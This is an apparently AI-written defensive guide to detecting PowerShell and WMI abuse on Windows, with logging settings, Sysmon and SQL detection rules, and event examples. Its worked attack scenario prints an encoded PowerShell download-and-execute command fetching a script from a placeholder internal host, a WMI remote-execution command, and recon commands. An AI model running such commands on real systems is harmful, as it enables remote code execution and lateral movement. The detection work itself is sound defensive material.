Detecting PowerShell and WMI Living-off-the-Land Activity
A practical guide for developers and security-minded engineers who need to detect abuse of built-in Windows tooling without drowning in theory. You’ll learn what telemetry matters, how PowerShell and WMI abuse actually looks on a host, and how to turn process, script, and event data into detections you can defend and tune.
TL;DR — Attackers abuse built-in Windows tools like PowerShell and WMI because they are already installed, trusted, and useful for execution, persistence, and remote movement. The single highest-value move is to collect and correlate process creation, PowerShell script block/module logging, and WMI activity, then alert on suspicious combinations like
powershell.exe -enc,wmic process call create, orWmiPrvSE.exespawning shells or network tools. Reading time: ~7 min
What it is and where it sits
Living-off-the-land detection is about catching malicious use of legitimate OS components rather than catching malware binaries. In the Windows endpoint world, PowerShell and WMI are the classic examples: they sit inside the operating system, admins use them every day, and attackers use the same interfaces for download-and-execute, remote execution, reconnaissance, persistence, and lateral movement.
From an Endpoint Security & EDR angle, this sits in the telemetry pipeline between the endpoint and your detection logic. You are not replacing antivirus with a regex over command lines. You are combining host events that answer four questions:
- What process started, with what parent, command line, integrity level, and user?
- What PowerShell code actually ran after deobfuscation or decoding?
- What WMI provider, consumer, or remote method was invoked?
- What network or child-process behavior followed?
In a typical flow, Windows generates native events, optional logging features enrich them, an agent or collector forwards them, and your SIEM/EDR correlation layer turns them into detections.
View as text
[User/Admin Tool] ---- 1. starts ----> [powershell.exe] [User/Admin Tool] ---- 1. starts ----> [wmic.exe/WMI API] [powershell.exe] ---- 2. script block ----> [Windows Logs] [wmic.exe/WMI API] ---- 2. provider activity ----> [WMI Logs] [powershell.exe] ---- 3. child proc/net ----> [Process/Net Events] [WmiPrvSE.exe] ---- 3. child proc/net ----> [Process/Net Events] [Windows Logs] ---- 4. forward ----> [Collector/Agent] [WMI Logs] ---- 4. forward ----> [Collector/Agent] [Process/Net Events] ---- 4. forward ----> [Collector/Agent] [Collector/Agent] ---- 5. correlate ----> [EDR/SIEM Rules]
Architecture context that matters in practice:
- PowerShell logging augments process telemetry. Process creation alone tells you
-encwas used; script block logging often tells you what the decoded payload actually did. - WMI activity often shows up indirectly. The suspicious process is frequently
WmiPrvSE.exespawningcmd.exe,powershell.exe, orrundll32.exe, notwmic.exeitself. - Remote execution paths may originate from another host. If you only look at local command lines, you miss the source system and the authentication context.
How it actually works
The mechanism is correlation, not any single magic event. One realistic end-to-end example:
An attacker gets a low-privilege shell on a developer workstation and wants to run a payload without dropping an obvious EXE. They use PowerShell with a base64-encoded command to download a script, then use WMI to execute a command on another Windows machine.
Step 1: Initial PowerShell execution
The attacker runs:
powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnaAB0AHQAcAA6AC8ALwAxADAALgAwAC4AMQAuADUALwBhAC4AcABzADEAJwApAA==
What you should expect in process telemetry:
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ParentImage: C:\Windows\System32\cmd.exe
CommandLine: powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand SQBFA...
User: DEV\alice
IntegrityLevel: Medium
CurrentDirectory: C:\Users\alice\Downloads\
This alone is not enough for a high-confidence alert. Admin scripts do use -NoProfile, and some installers use PowerShell invisibly. The stronger signal is the combination of:
-EncodedCommandor-enc-ExecutionPolicy Bypass- hidden window flags
- suspicious parent (
winword.exe,outlook.exe,wscript.exe, browser,cmd.exefrom temp path) - immediate network activity or child process creation
If script block logging is enabled, you often get the decoded content in Event ID 4104. The shape looks like this:
LogName=Microsoft-Windows-PowerShell/Operational
EventID=4104
MessageNumber=1
MessageTotal=1
ScriptBlockText=IEX (New-Object Net.WebClient).DownloadString('http://10.0.1.5/a.ps1')
Path=
UserId=DEV\alice
That event is the difference between “PowerShell with weird flags” and “PowerShell downloading and executing remote code.”
Step 2: Follow-on behavior from PowerShell
The downloaded script launches reconnaissance and staging commands. Your EDR/process feed may show:
ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Image: C:\Windows\System32\whoami.exe
CommandLine: whoami /all
ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Image: C:\Windows\System32\net.exe
CommandLine: net group "Domain Admins" /domain
These are weak signals by themselves. The detection value comes from sequence: encoded PowerShell -> network retrieval -> recon commands in a short time window.
Step 3: WMI remote execution
The attacker then pivots using WMI:
wmic /node:BUILD-SRV01 /user:DEV\alice process call create "cmd.exe /c powershell.exe -nop -w hidden -enc SQBFAFgA..."
On the source host, you may see wmic.exe with the remote node and process call create. On the target host, the more important evidence is usually:
ParentImage: C:\Windows\System32\wbem\WmiPrvSE.exe
Image: C:\Windows\System32\cmd.exe
CommandLine: cmd.exe /c powershell.exe -nop -w hidden -enc SQBFAFgA...
ParentImage: C:\Windows\System32\cmd.exe
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CommandLine: powershell.exe -nop -w hidden -enc SQBFAFgA...
And WMI operational logs may show method execution or permanent event consumer activity. Typical channels to collect:
Microsoft-Windows-WMI-Activity/Operational- Security process creation if enabled
- Sysmon process creation and WMI-related events if you use Sysmon
A realistic WMI-Activity event shape:
LogName=Microsoft-Windows-WMI-Activity/Operational
EventID=5857
ClientMachine=DEV-LAPTOP01
User=DEV\alice
Namespace=root\cimv2
Operation=Start IWbemServices::ExecMethod - Win32_Process::Create
Step 4: Detection logic
A useful rule is not “alert on PowerShell” or “alert on WMI.” It is something like:
- process where image is
powershell.exeand command line contains-encorFromBase64String - OR script block contains
IEX,DownloadString,Net.WebClient,Invoke-WebRequest,Start-BitsTransfer - OR process where parent is
WmiPrvSE.exeand child image is in{cmd.exe, powershell.exe, rundll32.exe, regsvr32.exe, mshta.exe} - raise severity if source host and target host differ, or if user is not in your admin allowlist, or if execution occurs outside maintenance windows
That is the core mechanism: collect enough endpoint context to distinguish administration from abuse, then score combinations rather than single events.
When to use it (and when not to)
If you run Windows endpoints or servers and care about lateral movement, you need this. If you only collect antivirus verdicts and basic login logs, you are blind to a large class of post-compromise activity.
| Scenario | Recommendation |
|---|---|
| Windows fleet with developers, admins, or CI agents using PowerShell regularly | Use process telemetry plus PowerShell 4103/4104 and WMI operational logs; tune by user, host role, and parent process |
| Mostly Linux/macOS endpoints | You probably don’t need deep PowerShell/WMI detection except on the few Windows jump hosts and build agents |
| Small environment with no central log pipeline | Start with Sysmon + Windows Event Forwarding before buying or building complicated analytics |
| Highly locked-down VDI/kiosk endpoints where PowerShell should never run | Use hard detections and prevention; low false-positive tolerance is fine |
| Environment with heavy SCCM/Intune/admin automation | Do not alert on every WMI or PowerShell event; build allowlists for known management servers, signed scripts, and maintenance windows |
| You only want malware prevention, not post-exploitation visibility | You probably don’t need this until after your first incident; then you will wish you had it |
You probably don’t need deep content inspection if:
- all Windows endpoints are ephemeral and rebuilt often,
- PowerShell is constrained or disabled for non-admins,
- you already block or heavily restrict remote WMI, and
- your threat model does not include internal lateral movement.
That said, most real enterprise and agency environments do not meet all four conditions.
Trade-offs
Every detection improvement here costs something.
- Benefit: better visibility into fileless execution. Cost: more log volume, especially PowerShell 4104 script block logging.
- Benefit: catches abuse of trusted binaries. Cost: false positives from legitimate admin automation, config management, and developer scripts.
- Benefit: strong lateral movement detection via WMI parent/child relationships. Cost: you need telemetry on both source and target hosts to tell the full story.
- Benefit: script content can reveal intent. Cost: privacy and secrets exposure in logs; scripts may contain tokens, internal URLs, or credentials if your org has bad hygiene.
- Benefit: generic, vendor-agnostic approach. Cost: more engineering effort to normalize event IDs, field names, and host coverage across tools.
- Benefit: high-confidence detections from sequence correlation. Cost: more stateful analytics and tuning than simple single-event alerts.
The lock-in angle is favorable here: process trees, PowerShell operational logs, WMI logs, and Sysmon are generic enough that your logic can move between SIEM/EDR platforms. The operational burden is the real cost, not vendor dependency.
In practice
Enable PowerShell logging with Group Policy or local policy
⚠️ Script block logging can capture sensitive script contents. Review retention, access controls, and whether your developers embed secrets in scripts before enabling it broadly.
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Force | Out-Null
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name EnableScriptBlockLogging -Type DWord -Value 1
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Force | Out-Null
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging\ModuleNames" -Force | Out-Null
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging\ModuleNames" -Name "*" -Type String -Value "*"
wevtutil sl Microsoft-Windows-PowerShell/Operational /e:true
This turns on script block and module logging locally and enables the operational log channel. Gotcha: on busy automation hosts, event volume rises fast; if your forwarding pipeline is undersized, you will drop the exact events you wanted.
To verify:
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -MaxEvents 5 | Select-Object TimeCreated, Id, ProviderName, Message
If the channel is disabled or absent, you will typically see:
Get-WinEvent : There is not an event log on the localhost computer that matches "Microsoft-Windows-PowerShell/Operational".
At line:1 char:1
+ Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -Ma ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (Microsoft-Windo...Shell/Operational:String) [Get-WinEvent], Exception
+ FullyQualifiedErrorId : NoMatchingLogsFound,Microsoft.PowerShell.Commands.GetWinEventCommand
Sysmon config to catch suspicious PowerShell and WMI-spawned processes
<Sysmon schemaversion="4.90">
<EventFiltering>
<ProcessCreate onmatch="include">
<Image condition="is">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Image>
<CommandLine condition="contains"> -enc </CommandLine>
<CommandLine condition="contains">EncodedCommand</CommandLine>
<CommandLine condition="contains">FromBase64String</CommandLine>
</ProcessCreate>
<ProcessCreate onmatch="include">
<ParentImage condition="is">C:\Windows\System32\wbem\WmiPrvSE.exe</ParentImage>
<Image condition="is">C:\Windows\System32\cmd.exe</Image>
<Image condition="is">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Image>
<Image condition="is">C:\Windows\System32\rundll32.exe</Image>
</ProcessCreate>
</EventFiltering>
</Sysmon>
This is a deliberately narrow Sysmon filter to reduce noise and catch the high-signal cases first. Gotcha: onmatch="include" means anything not matched is dropped for that event type in this block design; test your full config carefully before rollout.
Load or update it with:
sysmon64.exe -c C:\ProgramData\Sysmon\sysmon-config.xml
A successful update typically looks like:
System Monitor configuration updated.
A malformed XML or unsupported schema usually looks like:
Error: Failed to parse configuration file
Example detection query logic
SELECT timestamp, host, user, parent_image, image, command_line
FROM process_events
WHERE (
LOWER(image) LIKE '%\\powershell.exe'
AND (
LOWER(command_line) LIKE '% -enc %'
OR LOWER(command_line) LIKE '%encodedcommand%'
OR LOWER(command_line) LIKE '%frombase64string%'
)
)
OR (
LOWER(parent_image) LIKE '%\\wmiprvse.exe'
AND LOWER(image) IN (
'c:\\windows\\system32\\cmd.exe',
'c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe',
'c:\\windows\\system32\\rundll32.exe'
)
)
ORDER BY timestamp DESC;
This is generic SQL-like logic you can adapt to your SIEM or lakehouse schema. Gotcha: normalize path casing and slash direction first, or your rule will silently miss half your fleet.
Further reading
- MITRE ATT&CK: PowerShell
- MITRE ATT&CK: Windows Management Instrumentation
- Microsoft Learn: PowerShell Logging
- Microsoft Learn: WMI-Activity Event Logs
- Sysinternals Sysmon Documentation
This article was written by an AI system and published pending human review. Verify anything you intend to act on.
Have a project in mind?
Get an instant AI price estimate for it, or talk directly to our team.
One email a month on what we learn building with AI